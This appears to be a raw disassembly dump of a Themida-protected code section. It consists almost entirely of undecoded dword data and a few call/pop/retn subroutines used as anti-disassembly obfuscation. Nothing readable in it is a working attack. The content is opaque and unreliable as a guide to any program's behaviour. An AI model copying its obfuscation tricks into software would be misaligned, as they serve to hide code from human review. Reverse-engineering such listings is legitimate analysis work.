dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0A8BACE61h, 0EE59D0Bh, 0B5890612h
dd 6121C91h, 11BD83h, 0F030612h, 4A085h, 83FB8B00h, 15BD0CBDh
dd 840F0006h, 491h, 2A899D03h, 9D8B0612h, 612346Dh, 0BD0CB5FFh
dd 870F0615h, 6, 3105BD89h, 95FF0612h, 6122029h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1FC35242h, 25558AA8h
dd 1FD1BD8Bh, 0B58B0612h, 615BD00h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 23C35141h, 0C0FCADC1h, 106C7h
dd 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 78C1D4C3h, 0E9CEB3FBh, 11h, 1AF5B288h, 920FC6CBh
dd 4095DF8Fh, 22A0D269h, 0BB665035h, 3489F5A9h, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0CB5FF63h, 6A0615BDh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 2309C351h, 122D119Dh
dd 0E195FF06h, 0F06121Ah, 288h, 8BF98B00h, 15BD00B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0E86BD79Ah, 148C0FBEh, 0F000000h, 0E8Fh, 9E900h, 0F9FC0000h
dd 93C59F6Eh, 8BE7AA56h, 12303985h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 78C1D43Bh
dd 868993FBh, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 48C35141h, 0B501DA02h, 6122A61h, 2DCD958Bh
dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 34961CC3h, 507136BCh, 4C2835Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0C8BE4970h
dd 24A1B531h, 50890612h, 0EA858D20h, 8B0615D0h, 1223E99Dh
dd 0B8868906h, 89000000h, 120B4185h, 6AFC06h, 2BE99D8Bh
dd 0B5FF0612h, 615BD0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0DDC35141h, 0FF5278B2h, 122CD595h, 0A410BB06h
dd 840F2DB2h, 3, 50DF8B66h, 6A243489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BBFC357h
dd 121A9DBDh, 0CB5FF06h, 6A0615BDh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6185C351h
dd 19BD8B22h, 0FF061229h, 122E2995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 2147A8F2h
dd 15BD8Bh, 0BD830612h, 6121189h, 5B840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 2857C352h, 68D09620h, 738A96DAh, 0EE950h
dd 10510000h, 7D4E7B03h, 0E1332880h, 8DF63A52h, 6A243489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 5BDFC350h, 0B5FF5F52h, 615BD0Ch, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C1C35242h, 0A595FF11h
dd 6A06122Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 833CC350h, 0E90B5AB4h, 6, 0D76D4DA7h
dd 0B5FFEA94h, 615BD0Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 4C35545h, 0B7E78166h, 0B195FFBAh, 106121Bh
dd 12157D85h, 41BD8306h, 206122Ah, 97840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 43E152C3h, 1D458589h, 858B0612h, 61218A9h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 76C35646h, 50FD9420h
dd 2D9D8B46h, 0C606122Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 816033C3h, 49FF8DF3h
dd 0CD958944h, 6106122Ah, 12E960h, 8A80000h, 684D58FFh
dd 74BEDD31h, 3A0B7CBFh, 97B82C15h, 185C761h, 61203h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0E43C352h, 6E8DEh, 8B240000h, 0B95F21F3h
dd 5FA1E780h, 196E6CBFh, 0F399E93Bh, 6AFFFFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 5FB0AC3h
dd 58555F6Dh, 602A3DA3h, 33F5B50Bh, 95290612h, 61218ADh
dd 8AC18B61h, 65858DF9h, 6A061200h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3E1FC356h
dd 81AED277h, 6DD9C8DBh, 0C810F64h, 0F000000h, 689h, 99D0300h
dd 90061229h, 0B5F173BBh, 8B665056h, 6A90FBh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7F47DC3h
dd 0AA97124h, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0BD9E78C3h, 5BCA4149h, 6AFC8Ah, 2C2DBD8Bh, 858D0612h
dd 616A732h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 66C35747h, 0E59D8938h, 83061227h, 9D8905C0h, 6120B51h
dd 14E890h, 0D0170000h, 0E65B8723h, 0CBEDCEEAh, 44C8DD43h
dd 0C26DE6E4h, 8B669C02h, 66505FF8h, 6A90DF8Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 110BC350h, 95299409h, 6122849h, 21359D8Bh, 6A0612h
dd 0C98D8960h, 66061224h, 61ECB6BFh, 0DF81006Ah, 7C6C1059h
dd 0B5595FFh, 0D98B0612h, 8DDF8B66h, 159BCA8Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 9A0FDEB5h, 27739F6Ch, 5181BF8Eh, 0D1FF429Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 16C35545h, 11784779h
dd 42EA02B8h, 0ED85299Bh, 89061219h, 122D01B5h, 0E9BD8306h
dd 106120Eh, 0AE850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 9FBAAFC3h, 30DDBBB1h
dd 0A0BCBFABh, 26A3F9Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0B0C35646h, 8BB3E57Bh, 1212219Dh, 7BB79006h
dd 0E8F0F50h, 0E8000000h, 6, 6BFD3188h, 6160B81Eh, 6A905Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 6D4DAC3h, 0B98AC34h, 0FF85E380h, 122CD595h, 0E8535006h
dd 11h, 6F8C4DB4h, 0A14E57A5h, 68524FFEh, 6476914Ch, 5F5B5B4Eh
dd 0E52E9h, 0E800h, 815D0000h, 16A73CEDh, 860F6006h, 6
dd 1519B529h, 6E90612h, 9D000000h, 6D266B25h, 8E0F6102h
dd 3, 8BFEBF0Fh, 1215A99Dh, 8F858D06h, 6A061596h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 60D3C351h, 12E8h, 635A1C00h, 5390F8AEh, 20660FDAh, 0D9BE6824h
dd 898E3E84h, 12202195h, 9D895B06h, 6121D69h, 0CB816661h
dd 0F503398h, 480h, 29BF6600h, 240489B1h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4C35545h, 0F1363CF5h
dd 73E03115h, 0B99D8953h, 5F06122Ch, 35FF64h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 8119C353h, 37917D7h, 25896457h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5C6307
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6307 proc near ; CODE XREF: Themida_:005C62FFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C6307 endp
; ---------------------------------------------------------------------------
sub edx, [edx-291D8EDh]
mov dl, 66h
mov edi, edx
inc dword ptr [ebp+6121235h]
push 0
push edx
call sub_5C6332
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C6332 proc near ; CODE XREF: Themida_:005C632Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C6332 endp
; ---------------------------------------------------------------------------
dw 0E6D6h
dd 0BD0BF9FFh, 6120759h, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 4E1245C3h, 0D6779F6h
dd 81603E14h, 91F496E2h, 0BE959h, 0CFDC0000h, 24544A9Eh
dd 92B8816Ch, 0BD8B6172h, 6120B61h, 31C5B5FFh, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 38A536C3h, 1FA9BD0Bh, 95890612h, 6122481h, 147595FFh
dd 46E90612h, 8B000001h, 1222199Dh, 100B006h, 12085595h
dd 5670E606h, 25E9BD89h, 0E45F0612h, 84BF6671h, 0F613CC4h
dd 12083h, 99D8900h, 0F061231h, 0E860C8B6h, 0Ah, 6112566Bh
dd 4275C5B1h, 0C88A276Ch, 6BA615Bh, 89000000h, 121091BDh
dd 8B2DB306h, 0D98B66C1h, 0F04E8C1h, 68Dh, 85B58900h, 66061203h
dd 8D89E2F7h, 6122D55h, 0EE8C82Bh, 9E000000h, 0AE58CAACh
dd 16DAE867h, 6CE41A44h, 55958941h, 5F06121Dh, 9E9D18Bh
dd 0B3000000h, 0F439AC03h, 0ED3B2063h, 11E9h, 0CE900h
dd 6A6C0000h, 65DE6B3Dh, 0A50910F7h, 858B0E41h, 6122665h
dd 0EE9F1B7h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh
dd 7C08397h, 29399D0Bh, 0C0830612h, 8DEF8100h, 3B733697h
dd 20830FD0h, 89000000h, 1218D595h, 57E906h, 10E90000h
dd 44000000h, 156C18E9h, 315B180Eh, 0F4A49B4Eh, 8BF058ACh
dd 1214F58Dh, 6860F06h, 81000000h, 0CADADCEBh, 1E1834Ah
dd 27840Fh, 0B5890000h, 61218F1h, 14F5A583h, 2BFE0612h
dd 122ED1BDh, 77DF8006h, 26659589h, 0B5890612h, 612161Dh
dd 0E9h, 16B58D00h, 8106161Fh, 0A3259ACBh, 66006A29h, 0BD0BDF8Bh
dd 61211F9h, 29D195FFh, 81660612h, 0B9E77CD7h, 7F8h, 13E9h
dd 0EDE11400h, 4556E474h, 0D88EB7A2h, 6CBC6AA5h, 5CD0AAD9h
dd 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 584C355h, 73223E50h, 0E99D8BD8h
dd 0FC061226h, 0B8h, 0FB8B6600h, 6AD22Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7E4D3EC3h
dd 2FC3D68Dh, 0C233AD7Dh, 0D003E8D1h, 7504E983h, 50006AF4h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 628077ACh, 62998FFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 1EC35545h, 81666084h, 619BDCF1h, 880Dh
dd 0F593BB00h, 958B7150h, 6122DCDh, 5BB1B352h, 31BD8D8Bh
dd 7E80612h, 3B000000h, 8CC7EF67h, 8D8970E9h, 6120391h
dd 8D89605Bh, 6120C21h, 8B5061F8h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 5BFE8B57h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0ADC35141h, 5F0422C9h, 0BD83CA22h
dd 6121419h, 0C3840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0AC52C353h
dd 6E82DE7Eh, 1A9D8589h, 10E80612h, 5B000000h, 26BE1EAh
dd 0DAF1B56Bh, 0FCD986D5h, 0B37EE54Ch, 0B85B3Ch, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0E3E4C351h, 80BF4F86h, 0E958BC76h, 0Ah, 310D321Eh
dd 3F9F08C8h, 8D8DF3E3h, 6124E4Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 86C35646h, 5FDD983Eh, 31576145h
dd 121DFD8Dh, 0E1FF5F06h, 0EE8h, 4DB1F900h, 8F093AC7h
dd 0DDF10E4Ch, 89A853FEh, 1208A595h, 0BD835F06h, 6120011h
dd 46840F00h, 31000004h, 121A5585h, 11BD8306h, 1061200h
dd 44E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0BD2B4BC3h, 6121F05h, 1FF9B509h
dd 0BD830612h, 6120011h, 0E3860F03h, 0B000003h, 1211B99Dh
dd 6E806h, 0F0E10000h, 0D87ACF98h, 0BD89605Fh, 61217E9h
dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 45F1C351h, 802D24C3h, 6A04E1h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0A3D579C3h, 0AFAB70Fh, 60840FC9h, 0E9000001h, 13h, 0AB95207Dh
dd 0B7C6C35Fh, 44B0EED2h, 8220D48Ch, 8BF96A10h, 1230199Dh
dd 0CD858B06h, 6A061224h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 24A6C353h, 97E92DE6h
dd 337FBC4Bh, 12248D85h, 75950906h, 50061221h, 489F4B7h
dd 6A006A24h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 2003C353h, 9589101Bh, 612284Dh
dd 4E8h, 1F03FF00h, 8B665000h, 24448BFAh, 8BCFB304h, 52505600h
dd 13E8h, 544B8F00h, 0CD591BC7h, 0ABB1AF10h, 0C5923D1Bh
dd 50D648E8h, 0E9310F5Fh, 13h, 4EDC27E1h, 7CA5B258h, 92055E29h
dd 0EE7E3C7Dh, 5AE41B04h, 44895F58h, 51510424h, 8F0Fh
dd 5F5B0000h, 0F3816658h, 95FF168Ah, 6123031h, 2E41BD8Bh
dd 85890612h, 615BD0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0F7C35141h, 0E8BD1A0h, 56996B76h, 0E95BA7B3h
dd 1EBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 22C35040h, 68C0Fh, 85290000h, 6123205h, 12E9h
dd 0BC5DA600h, 6CB2A909h, 0E04DC077h, 256C08BFh, 8B8F7A84h
dd 15BD0485h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 545CB6Fh, 89F56377h, 1233518Dh, 1800C706h
dd 8B000000h, 1214D19Dh, 8B58B06h, 6A0615BDh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 8ACC356h, 0D38166F3h, 93B33DABh, 2399858Bh, 9D8B0612h
dd 61225E1h, 0FE90689h, 57000000h, 3122840Dh, 0A43C2397h
dd 8224C287h, 858B31ECh, 61224CDh, 89D88B66h, 6A0446h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0D43FBC3h, 33A9BD8Bh, 66960612h, 500CB2BBh, 8B96F88Bh
dd 123249BDh, 4B5FF06h, 6A0615BDh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F2C352h
dd 122ED19Dh, 0FBA56806h, 0F5309F7h, 82h, 34815F00h, 0E8F85A24h
dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 8BC3E248h, 12150DBDh, 0F59D8906h, 8D06120Eh
dd 15BD0C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 63D78161h, 503C802Dh, 13E9h, 1D1FCD00h
dd 0A89D52C2h, 72A31798h, 4B396DE7h, 72887CCEh, 6A240489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 0FD34C350h, 8166BDB0h, 0FF3FADC7h, 12303195h
dd 0C8C0F06h, 0F000000h, 68Fh, 0D9858900h, 6106122Fh, 11E9h
dd 8435BE00h, 0C916E98Ah, 0B06BDF25h, 0A426801Bh, 8E9D551h
dd 0C5000000h, 6EDCC7BFh, 0C75999A4h, 12001185h, 306h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0EDF517DAh, 7FACE900h, 1E019509h
dd 0BD830612h, 615BD0Ch, 0B840F00h, 29000000h, 12153185h
dd 1BE906h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 0AE9C0h, 0D6140000h, 6DE194C4h
dd 814EF783h, 3DEB8166h, 50006A48h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 658D89A0h, 0F906121Fh
dd 11BD83h, 0F030612h, 42A85h, 9BD8B00h, 8306122Eh, 15BD0CBDh
dd 840F0006h, 417h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 9FC35545h, 5005841Eh, 0E973223Eh, 10h
dd 56255604h, 2054D624h, 7BC34202h, 1067E60Eh, 68D0F60h
dd 0F000000h, 8Bh, 48D0F00h, 66000000h, 612C5DB8h, 0BD0CB5FFh
dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 95FFD4C3h, 6122029h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0AFC35545h, 8BFE8BC4h, 15BD00B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 8C860E5Bh, 17549B1Eh, 0AE8h, 79CF6D00h
dd 0D2EF4C9Eh, 0F8F03F36h, 0C7FE8A5Bh, 1000106h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BB660EF6h, 605092B8h, 0EFC0B9B9h, 0F8B0F42h, 0E9000000h
dd 0Ah, 0CBC9E4CDh, 90E1C10Fh, 89614522h, 6A2434h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 1E69F4C3h, 0AB6E4DAEh, 0FD30E9Eh, 487h, 0E1BB6600h
dd 0FFFA8B19h, 15BD0CB5h, 959D8B06h, 0FF06122Dh, 121AE195h
dd 59B50106h, 8B061228h, 15BD00B5h, 5E78106h, 8B2E2D6Fh
dd 12303985h, 85BD8B06h, 89061218h, 0C486h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 17F8BB16h, 49513003h, 2DCD958Bh, 9ABF0612h, 83785C92h
dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 0CACCC1C3h, 28E1BD2Bh, 50890612h, 51006A20h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 67BF66B4h, 419D8B37h, 8D061207h, 15D0EA85h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0BBC015E6h, 7CC47EF2h, 0B88689DEh, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0A4F6C350h, 5BD874A1h, 0E95680F1h, 7, 0EC4FB834h, 5B8C07CCh
dd 0FD8A006Ah, 0BD0CB5FFh, 0FA8B0615h, 2CD595FFh, 95890612h
dd 61219D9h, 89F88B50h, 1DB32434h, 0BD0CB5FFh, 9D0B0615h
dd 612304Dh, 2E2995FFh, 10E90612h, 0C6000000h, 296CECEFh
dd 6487E6AEh, 0C927A49h, 83CC0538h, 121189BDh, 840F0006h
dd 54h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
dd 64C35141h, 581C2B32h, 8F71D240h, 964CF780h, 28D0F53h
dd 60000000h, 0E9505B61h, 8, 53D02735h, 9FCBB91Ah, 0EE996h
dd 45CF0000h, 99DA2D91h, 16F506C7h, 11A4E64Dh, 0BD0CB5FFh
dd 81660615h, 0FF34C7D7h, 122AA595h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5B8A8E19h
dd 0A7B1F39Bh, 702B0DBBh, 0CB5FF72h, 6A0615BDh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0B1C5C350h, 0B03E0E1h, 652E2753h, 0C88ACABBh, 0B195FF0Dh
dd 8106121Bh, 4251ADE7h, 0FB8B6611h, 2A41BD83h, 0F020612h
dd 5E84h, 858BFC00h, 61218A9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0F9C35242h, 6A0000C6h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 710CC352h, 85F53FA1h, 12E9h, 0F324B900h, 2BDAA768h
dd 0B82A8604h, 0D8F588F5h, 0C7611E72h, 12030185h, 6, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 152109C4h, 0E9F59CE1h, 0FFFFF314h, 1B3FBF66h, 6AC18Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BD3192C3h, 61219A1h, 8DFBBF0Fh, 12006585h, 0B19D3306h
dd 6006122Ch, 0BE9h, 0B708D000h, 0C9F86DD4h, 9A7F9187h
dd 68B0Fh, 0F3810000h, 0E31369Fh, 0BF519061h, 2856B4FEh
dd 0BB66505Bh, 6A902EDCh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 5193C356h, 8B8AA06Ah
dd 122935BDh, 52006A06h, 6A5F46B3h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0BE6DAD8h
dd 858DD98Bh, 616B6E5h, 3FF8C781h, 0C0837CF2h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0CE95B92h, 0EF000000h, 14127BA7h, 0F82E50D5h, 90496010h
dd 1871B860h, 0BDBF0654h, 61212141h, 90D88B50h, 0A1F78166h
dd 0DABF0F6Eh, 0BF0F006Ah, 81006AD8h, 3717A5D7h, 5595FF6Ch
dd 8906120Bh, 12131D9Dh, 45D78006h, 9BCA8D8Dh, 12E90615h
dd 52000000h, 5D50FAFEh, 2F9B27B6h, 27693FE5h, 3DF44354h
dd 8BD1FF05h, 1213819Dh, 0E9BD8306h, 106120Eh, 31850Fh
dd 8D310000h, 6122ED1h, 7259D8Bh, 26A0612h, 1C799D8Bh
dd 0F500612h, 286h, 8947B700h, 0CB802404h, 0C38166A4h
dd 95FF0DF8h, 6122CD5h, 0E9F9BF0Fh, 0EC2h, 0E8h, 0ED815D00h
dd 616B6EFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0ADC35040h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 4855963h, 1EE78166h, 0F88B6688h
dd 968F858Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 0F2F2E7C3h, 0B8BB662Fh, 0BB669088h
dd 53507509h, 2880Fh, 0DA8B0000h, 6A905Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8F10EDC3h
dd 60DB116Dh, 277D952Bh, 0FE80612h, 0BD000000h, 6B3C38EDh
dd 0D49E51DFh, 1C0D7F7Ah, 0D3B1635Ah, 0FF646159h, 35h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0B18D1B5Bh, 75F730B9h, 5684BBFCh, 858937C3h
dd 6122381h, 258964h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 878EC356h, 8A5C079Ch
dd 119D03FEh, 0FF061214h, 12123585h, 0D98B6606h, 6AFF6Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0BB6B48C3h, 0B2AE3DBFh, 860F50ABh, 0Bh, 6E9h, 0B3D41D00h
dd 5F38AEA3h, 2431B5FFh, 8B660612h, 0F9BB66FAh, 7595FF33h
dd 0E9061214h, 153h, 2121BD29h, 0B00612h, 0B41BD8Bh, 70E60612h
dd 10E8h, 0B66E9E00h, 9B9283B2h, 0B643CEE8h, 767591BDh
dd 0E1BD8B60h, 5B061233h, 0DF8B71E4h, 830F613Ch, 11Bh
dd 1F8DB589h, 0B60F0612h, 0D38166C8h, 6BA83EEh, 89000000h
dd 1222D1B5h, 8E806h, 758C0000h, 0E24CE03h, 5BF927B9h
dd 0BE8C18Bh, 0B7000000h, 9A328D82h, 271CA8B1h, 9D8BED11h
dd 6121CDDh, 4E8C15Bh, 4F38166h, 0CE9AFh, 7FA50000h, 0D436394Eh
dd 5ECDE712h, 0F7661141h, 0BE9E2h, 5B710000h, 0A0E9DCB8h
dd 9CBD8393h, 95316055h, 6120751h, 2D619D09h, 2B610612h
dd 99D8BC8h, 8B06122Eh, 0E78166D1h, 8CE92A96h, 60000000h
dd 858BDE8Bh, 6121185h, 8858B61h, 66000000h, 83CEE4BFh
dd 0BD8B07C0h, 6121E8Dh, 0E900C083h, 0Bh, 0C9F333B2h, 8F9FD838h
dd 3B6AF582h, 0F830FD0h, 89000000h, 120B1D8Dh, 49E906h
dd 8B510000h, 8D8B5FD9h, 0FFFFFFFFh, 1E183F5h, 35840Fh
dd 95310000h, 612270Dh, 0FFFFA583h, 0E9FEFFFFh, 13h, 5BF6103Eh
dd 5773CF67h, 69634BBCh, 0FE41F5E3h, 89D014EFh, 895h, 0CF816600h
dd 0E9065Ah, 8D000000h, 163656B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B2206400h
dd 81E6505Dh, 6A006A72h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 7EB3C352h, 6F55F49Bh
dd 0FFFB8B66h, 1229D195h, 0FE8B6606h, 0F92B9h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0FC99A103h, 0FCE1838Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 57C35343h, 17E9BD8Bh, 6AFC0612h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 6663C356h, 80E0E2BBh, 880FFEC7h, 15h, 10E9h, 0AF83E500h
dd 35C2FE6Ah, 0CA208CF0h, 48E2B74h, 0B8BBh, 11E80000h
dd 0
dd 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h, 6AD22B5Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 91BEC357h, 9AFA68F0h, 66807469h, 0AD9ABEBFh
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 76C3C353h
dd 3FAADE96h, 879BD33h, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 2F96F9C3h, 0DD03B236h
dd 0CF819A08h, 5EAD542Bh, 0A86612BBh, 880D22h, 958B0000h
dd 6122DCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 72C35141h, 0BE8h, 6D35F100h, 81E1E08Fh, 127FD9DBh
dd 5FDA8B66h, 31BD8D8Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 884E0CC3h, 0B5892864h
dd 6121A19h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 9D8B5818h, 61218A5h, 1419BD83h, 0F000612h, 6484h, 1B8FBF00h
dd 0B85AA7h, 0E9000000h, 6, 0EE111661h, 8D8D9D75h, 6124E4Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E4C35343h
dd 3C1C6F2Dh, 0F14FBFEFh, 0E1FF5AF3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0A0C35242h, 0B6910CC1h, 11BD8303h
